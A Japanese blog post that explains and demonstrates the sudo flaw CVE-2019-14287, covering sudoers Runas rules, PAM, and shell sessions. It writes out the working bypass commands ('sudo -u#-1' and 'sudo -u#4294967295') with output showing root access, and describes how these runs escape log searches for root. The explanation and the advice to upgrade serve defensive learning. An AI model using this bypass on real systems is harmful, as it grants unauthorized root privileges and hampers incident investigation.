sudoの脆弱性(CVE-2019-14287)についてまとめてみた

# はじめに
この記事は, 先日発表されたsudoの脆弱性([CVE-2019-14287](https://www.sudo.ws/alerts/minus_1_uid.html))を理解することを目的として書かれました。様々な記事でCVE-2019-14287の概要が書かれていますが, 実際に手を動かして少し掘り下げてみようと思ったのが執筆のきっかけでした。

私は初心者なので初歩的な部分から書いていきます。誤りがある場合はご指摘いただければ幸いです。

# TL;DR
 - CVE-2019-14287は以下の3つを含んでいます
   1. sudoersのRunas仕様でALL句を使いつつrootでの実行を明示的に禁止している場合でもrootとして実行可能であること
   2. uidとして`0`(rootのuid)ではなく`4294967295`がログに残ること
   3. 実行時にPAMセッションモジュールが実行されないこと
 - 2.および3.はsudoersで`user hostname = (ALL) ALL`と書いている場合でも実現できます
 - 直接的な影響は無いが, セキュリティ保守のためには最新版を使用したほうが良いです

# 実行環境
本記事で紹介する実例は以下の環境で検証しました。

```
$ uname -a
Linux localhost 4.19.66-1-lts #1 SMP Sat Aug 10 13:13:28 CEST 2019 x86_64 GNU/Linux
$ sudo --version
Sudo バージョン 1.8.27
sudoers ポリシープラグイン  バージョン 1.8.27
sudoers ファイル文法バージョン 46
Sudoers I/O plugin version 1.8.27
```

# 前提知識の確認
この記事を読む上で必要な前提知識です。必要のない方は[CVE-2019-14287の概要](https://qiita.com/task4233/items/80a5ea1c0b4f8e45db2e#cve-2019-14287%E3%81%AE%E6%A6%82%E8%A6%81)まで飛ばしてください。

## Runas specification
Runasは**RUN AS** a userのことです。したがって, Runas specificationとは, あるユーザとしてコマンドを実行できる仕様のことです。

## sudo
**SU**peruser(root) **DO**の略です。sudoコマンドを利用することで, コマンドを実行したユーザは別のユーザの権限レベルでプログラムを実行可能になります。別のユーザとしてプログラムを実行する場合, `-u`オプションを利用して実行するユーザの権限レベルを設定します。例えば, uid=1234でwhoamiコマンドを実行したい場合, `$ sudo -u#1234 whoami`を実行します。同様に, 今回の脆弱性であるCVE-2019-14287で紹介されているコマンドは, 以下のようにパースされて実行されます。

![parse.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/238364/a18964c1-7124-cd0b-89b7-619aeed4e728.png)

## sudoersとその記法
sudoコマンドの設定ファイルは`/etc/sudoers`にあり, このファイルのことを以下sudoersとします。sudoersを編集する場合, `visudo`コマンドを実行して編集することが推奨されています。誤った記法で保存しようとするとエラーを出力してくれるため安全なので使った方が良いと思います。

またsudoersにはRunas specificationを以下のように記述してください。

```
user hostname = (allowedUser: allowedGroup) allowedCommand
```

このように書くと, **hostnameのuserがallowedGroupに属するallowedUserとしてallowedCommandを実行可能**という意味になります。例えば, 以下のように記述するとどうなるかわかりますよね？

```
hoge localhost = (ALL:ALL) /usr/bin/vi
```

この場合だと, localhostのユーザであるhogeが全てのグループに属する全てのユーザとして`/usr/bin/vi`を実行可能と言う意味になります。

## PAM(Pluggable Authentication Module)
PAMとはアプリケーションの認証を肩代わりしてくれるユーザ認証システムのことです。PAMは, 下位レベルにある認証スキームを入れ替えることで, 様々な認証バックエンドを利用可能になります。仮にアプリケーション側で認証を実装した場合, アプリケーションごとに独自の規格を利用したり脆弱性が出た場合に各自で修正したりする必要があるため, メリットとしては十分だと私は考えています。

PAMは, 大きく分けて4つのモジュールインタフェース(処理部)から構成されています。

1つ目は認証モジュール(auth)です。このモジュールは, ユーザの正当性を確認する役割を担っています。具体的には, パスワードや生体認証等で正当性を確認します。
2つ目はアカウント管理モジュール(account)です。このモジュールは, ユーザの使用許可がおりていることを確認する役割を担っています。具体的には, 期限の切れたアカウントに対してログインできないようにする仕組みといった機能が該当します。
3つ目はパスワード管理モジュール(password)です。このモジュールは, 認証に使用する情報(一般にはパスワード)を変更する役割を担っています。
4つ目はセッション管理モジュール(session)です。このモジュールは, ユーザセッションの管理と設定を行う役割を担っています。このモジュールは, ログイン認証の最初と最後に起動されます。起動されると, ホームディレクトリやシステム制限等のユーザ固有の環境を設定します。

sudoに関するpamの設定ファイルは, `/etc/pam.d/sudo`に存在しています。

# CVE-2019-14287の概要
CVE-2019-14287はPotential bypass of Runas user restrictionsのことです。概要は[sudo公式](https://www.sudo.ws/alerts/minus_1_uid.html)に書かれていました。

内容としては以下の3つです。

1. sudoersのRunas仕様でALL句を使いつつrootでの実行を明示的に禁止している場合でもrootとして実行可能であること
2. uidとして`0`(rootのuid)ではなく`4294967295`がログに残ること
3. 実行時にPAMセッションモジュールが実行されないこと
それぞれの内容が発生する原因は, 以下のように書かれていました。

> the setresuid(2) and setreuid(2) system calls, which sudo uses to change the user ID before running the command, treat user ID -1 (or its unsigned equivalent 4294967295), specially and do not change the user ID for this value. As a result,
    sudo -u#-1 id -u
or
    sudo -u#4294967295 id -u
will actually return 0. This is because the sudo command itself is already running as user ID 0 so when sudo tries to change to user ID -1, no change occurs.

> This results in sudo log entries that report the command as being run by user ID 4294967295 and not root (or user ID 0). Additionally, because the user ID specified via the -u option does not exist in the password database, no PAM session modules will be run.

ざっくり訳すと以下のようになります。

sudoコマンドが後続のコマンドを実行する前に, uidを変更する目的でシステムコールの`setresuid(2)`と`setreuid(2)`を使います。これらのシステムコールはuid=`-1`(もしくはunsignedで`-1`と等価な`4294967295`)を不変な値として特別に扱います。その結果, 

`$ sudo -u#-1 id -u`

や

`$ sudo -u#4294967295 id -u`

は実際には0を返します。なぜなら, sudoコマンド自体が既にuid=`0`として実行されており, sudoがuid=`-1`に変更しようとしても値は変更されないためです。しかし, ログエントリにはroot(uid=`0`)ではなくuid=`4294967295`(signedなら`-1`)としてuidが記述されます。

また, `-u`オプションで指定されたuidはパスワードデータベースに存在しないため, PAMセッションモジュールは実行されません。

では, それぞれの内容を実際に動かして確認します。

## 1. sudoersのRunas仕様でALL句を使いつつrootでの実行を明示的に禁止している場合でもrootとして実行可能
重要なのは, **rootを明示的に禁止している場合でもrootとして実行可能**ということです。

例えば, sudoersで以下のように設定していたと仮定します。

```
hoge ALL = (ALL,!root) ALL
```

この時, hogeというユーザはroot(uid=0)以外の全てのユーザに扮して全てのコマンドを実行可能です。
実際に, 以下のようにroot以外ならばコマンドが実行できることが分かります。

```
[hoge@localhost]
$ id # hoge自身でidコマンドを実行
uid=1001(hoge) gid=1001(hoge) groups=1001(hoge)
[hoge@localhost]
$ sudo -u#1001 whoami # hogeのuidでwhoamiコマンドを実行
hoge
[hoge@localhost]
$ sudo -u#1234 id # uid=1234でidコマンドを実行
uid=1234 gid=1001(hoge) groups=1001(hoge)
[hoge@localhost]
$ sudo id # root権限でidコマンドを実行
残念ですが、ユーザー hoge は'/usr/bin/id' を root として localhost 上で実行することは許可されていません。
[hoge@localhost]
$ sudo -u#0 whoami # uid=0(root)でidコマンドを実行
残念ですが、ユーザー hoge は'/usr/bin/whoami' を root として localhost 上で実行することは許可されていません。
```

しかし, 今回の脆弱性を利用することで以下のようにrootとして実行可能です。

```
[hoge@localhost task4233]
$ sudo -u#-1 id # -1を設定してidコマンドを実行
uid=0(root) gid=1001(hoge) groups=1001(hoge)
[hoge@localhost task4233]
$ sudo -u#4294967295 id　# 4294967295を設定してidコマンドを実行
uid=0(root) gid=1001(hoge) groups=1001(hoge)
[hoge@localhost task4233]
$ sudo -u#-1 whoami # -1を設定してidコマンドを実行
root
[hoge@localhost task4233]
$ sudo -u#4294967295 whoami　# 4294967295を設定してwhoamiコマンドを実行
root
```

これによって, sudoersで明示的にrootでの実行を禁止している場合でもroot権限で実行することが可能になります。しかし, sudoはその名の通りrootの権限レベルでコマンドを実行することが主のはずです。そのため, 今回の事例のようにrootで実行できないコマンドをsudoersに設定することはまず無いと考えています。したがって, **この件に関しては特殊な利用法をしていない限り気にすることは無い**と考えています。

## 2. この脆弱性を利用した場合, 0(rootのuid)では無い値がログに残る
uidを`-1`もしくは`4294967295`で設定しているため, そのuidがログに残ってしまいます。

実際のログを見てみます。以下のログは先ほど行ったコマンド部分の抜粋です。

```
10月 16 01:35:04 localhost sudo[1058]:     hoge : TTY=pts/0 ; PWD=/home/task4233 ; USER=#1234 ; COMMAND=/usr/bin/id
10月 16 01:35:13 localhost sudo[1060]:     hoge : command not allowed ; TTY=pts/0 ; PWD=/home/task4233 ; USER=root ; COMMAND=/usr/bin/id
10月 16 01:35:21 localhost sudo[1061]:     hoge : command not allowed ; TTY=pts/0 ; PWD=/home/task4233 ; USER=root ; COMMAND=/usr/bin/whoami
10月 16 01:35:27 localhost sudo[1062]:     hoge : TTY=pts/0 ; PWD=/home/task4233 ; USER=#-1 ; COMMAND=/usr/bin/id
10月 16 01:35:41 localhost sudo[1067]:     hoge : TTY=pts/0 ; PWD=/home/task4233 ; USER=#4294967295 ; COMMAND=/usr/bin/id
10月 16 01:35:57 localhost sudo[1071]:     hoge : TTY=pts/0 ; PWD=/home/task4233 ; USER=#-1 ; COMMAND=/usr/bin/whoami
10月 16 01:36:04 localhost sudo[1073]:     hoge : TTY=pts/0 ; PWD=/home/task4233 ; USER=#4294967295 ; COMMAND=/usr/bin/whoami
```

分かりやすくするために必要な部分のみを抽出して表にします。

|USER|COMMAND|ALLOWED|
|:-:|:-:|:-:|
|#1234|/usr/bin/id|Yes|
|root|/usr/bin/id|No|
|root|/usr/bin/whoami|No|
|#-1|/usr/bin/id|Yes|
|#4294967295|/usr/bin/id|Yes|
|#-1|/usr/bin/whoami|Yes|
|#4294967295|/usr/bin/whoami|Yes|

すると, 今回の脆弱性を用いたログが`#-1`もしくは`#4294967295`になっていることが分かります。

仮に, あなたの会社のPCが悪意のある人からサイバー攻撃を受け, この手法を用いてroot権限を用いてコマンドを実行されたことが発覚した場合を想定します。この場合, 悪意のある人間がどのような経路で感染させたのかを調査する必要があります。例えば, root権限を取った後にrootkitを仕込んだり追加のマルウェアのダウンロードをしたりすることが挙げられます。しかし, root権限で実行されたコマンドを探すために`grep`でroot権限で実行されたコマンドを調べようにもそのコマンドは出てきません。先ほどの例で確認してみます。

```
$ journalctl -n100 | grep root
~~ 略 ~~
10月 16 01:35:13 localhost sudo[1060]:     hoge : command not allowed ; TTY=pts/0 ; PWD=/home/task4233 ; USER=root ; COMMAND=/usr/bin/id
10月 16 01:35:21 localhost sudo[1061]:     hoge : command not allowed ; TTY=pts/0 ; PWD=/home/task4233 ; USER=root ; COMMAND=/usr/bin/whoami
~~ 略 ~~
```

rootで実行した6つのコマンドのうち2つしか検出できていません。これらは私がわざとミスしたものなのでログに残っていますが, 実際は1つもログが出ない可能性も十分にあり得ます。もちろん他の手法でも感染が広がっていないか確認するはずですが, 感染を見逃すリスクがあることは事実です。

さらに, これはsudoersに`hoge ALL = (ALL) ALL`と書いている場合でも実行できてしまいます。そのため, さきほどの1.の危険性のみで胡坐をかいていた方は要注意だと思います。

## 3. 実行時にPAMセッションモジュールが実行されない
前述した通り, `-u`オプションで指定されたuidはパスワードデータベースに存在しないため, PAMセッションモジュールは実行されません。

実際にログを確認します。
まず, 正しく実行されるコマンドである`$ sudo -u#1001 whoami`を実行した際のログです。

```
10月 16 01:11:56 localhost sudo[961]:     hoge : TTY=pts/0 ; PWD=/home/task4233 ; USER=hoge ; COMMAND=/usr/bin/whoami
10月 16 01:11:56 localhost sudo[961]: pam_unix(sudo:session): session opened for user hoge by (uid=0)
10月 16 01:11:56 localhost sudo[961]: pam_unix(sudo:session): session closed for user hoge
```

コマンドを実行した後に`pam_unix(sudo:session)`のopenとcloseが行われていることが分かります。

次に, 今回の脆弱性を利用したコマンドである`sudo -u#-1 whoami`を実行した際のログです。

```
10月 16 01:35:57 localhost sudo[1071]:     hoge : TTY=pts/0 ; PWD=/home/task4233 ; USER=#-1 ; COMMAND=/usr/bin/whoami
10月 16 01:36:04 localhost sudo[1073]:     hoge : TTY=pts/0 ; PWD=/home/task4233 ; USER=#4294967295 ; COMMAND=/usr/bin/whoami
```

コマンドを実行した後に別のコマンドの実行結果が来ていることが分かります。したがって, 正しく実行されるコマンドの場合と比較して, sessionの部分が呼ばれていないことが分かります。

PAMのsessionが呼ばれないということは, sessionで設定する固有の環境設定が行われないということになります。本来行われるべき処理が行われないのは問題な気がしますが, sudoのroot環境下で具体的にどのような問題が起きるのかは分かりませんでした(分かる方教えてください)。

# おわりに
以上が, sudoの脆弱性情報(CVE-2019-14287)について私なりに調べてまとめた内容になります。全体的に直接影響があるわけでは無いにせよ, 不安が残るくらいならば最新版にアップデートした方が良いと感じました。

また, sudoコマンドはsudoersで許可されたユーザとして実行するコマンドでした。確かに, sudoersで設定しているので, ユーザを許可しているのは理解していたんですが, 殆どALLにしていたせいでroot権限で実行するために使用しているとばかり考えていました。そのため, これは新たな発見でした。touchコマンドが空ファイル生成のためのコマンドではなかったり, catコマンドがファイルの内容を表示するためのコマンドではなかったりと, 実際の機能を勘違いして利用しているコマンドはまだまだありそうですね。


# References
 - [sudo](https://ja.wikipedia.org/wiki/Sudo)
 - [Potential bypass of Runas user restrictions](https://www.sudo.ws/alerts/minus_1_uid.html)
 - [sudoの脆弱性情報(Important: CVE-2019-14287)と新バージョン(1.8.28)](https://security.sios.com/vulnerability/sudo-security-vulnerability-20191015.html)
 - [知っているようで知らないPAMのお話](https://www.slideshare.net/serverworks/pam-53731680)
 - [第2章 PAM を利用した認証](https://manual.geeko.jp/ja/cha.pam.html)